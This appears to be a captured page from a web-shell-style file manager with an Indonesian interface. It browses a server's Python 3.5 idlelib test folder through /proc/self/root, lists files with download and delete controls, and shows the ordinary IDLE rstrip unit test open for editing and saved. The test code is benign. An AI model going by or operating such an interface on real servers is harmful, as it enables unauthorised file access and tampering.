PATH: //proc/self/root/opt/alt/python35/lib64/python3.5/idlelib/idle_test
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 README.txt
↓
X
📄 __init__.py
↓
X
📁 __pycache__/
X
📄 htest.py
↓
X
📄 mock_idle.py
↓
X
📄 mock_tk.py
↓
X
📄 test_autocomplete.py
↓
X
📄 test_autoexpand.py
↓
X
📄 test_calltips.py
↓
X
📄 test_config_help.py
↓
X
📄 test_config_name.py
↓
X
📄 test_configdialog.py
↓
X
📄 test_delegator.py
↓
X
📄 test_editmenu.py
↓
X
📄 test_editor.py
↓
X
📄 test_formatparagraph.py
↓
X
📄 test_grep.py
↓
X
📄 test_help_about.py
↓
X
📄 test_hyperparser.py
↓
X
📄 test_idlehistory.py
↓
X
📄 test_io.py
↓
X
📄 test_parenmatch.py
↓
X
📄 test_pathbrowser.py
↓
X
📄 test_percolator.py
↓
X
📄 test_replacedialog.py
↓
X
📄 test_rstrip.py
↓
X
📄 test_searchdialog.py
↓
X
📄 test_searchdialogbase.py
↓
X
📄 test_searchengine.py
↓
X
📄 test_text.py
↓
X
📄 test_textview.py
↓
X
📄 test_undodelegator.py
↓
X
📄 test_warning.py
↓
X
📄 test_widgetredir.py
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: test_rstrip.py
import unittest import idlelib.RstripExtension as rs from idlelib.idle_test.mock_idle import Editor class rstripTest(unittest.TestCase): def test_rstrip_line(self): editor = Editor() text = editor.text do_rstrip = rs.RstripExtension(editor).do_rstrip do_rstrip() self.assertEqual(text.get('1.0', 'insert'), '') text.insert('1.0', ' ') do_rstrip() self.assertEqual(text.get('1.0', 'insert'), '') text.insert('1.0', ' \n') do_rstrip() self.assertEqual(text.get('1.0', 'insert'), '\n') def test_rstrip_multiple(self): editor = Editor() # Uncomment following to verify that test passes with real widgets. ## from idlelib.EditorWindow import EditorWindow as Editor ## from tkinter import Tk ## editor = Editor(root=Tk()) text = editor.text do_rstrip = rs.RstripExtension(editor).do_rstrip original = ( "Line with an ending tab \n" "Line ending in 5 spaces \n" "Linewithnospaces\n" " indented line\n" " indented line with trailing space \n" " ") stripped = ( "Line with an ending tab\n" "Line ending in 5 spaces\n" "Linewithnospaces\n" " indented line\n" " indented line with trailing space\n") text.insert('1.0', original) do_rstrip() self.assertEqual(text.get('1.0', 'insert'), stripped) if __name__ == '__main__': unittest.main(verbosity=2, exit=False)
SIMPAN PERUBAHAN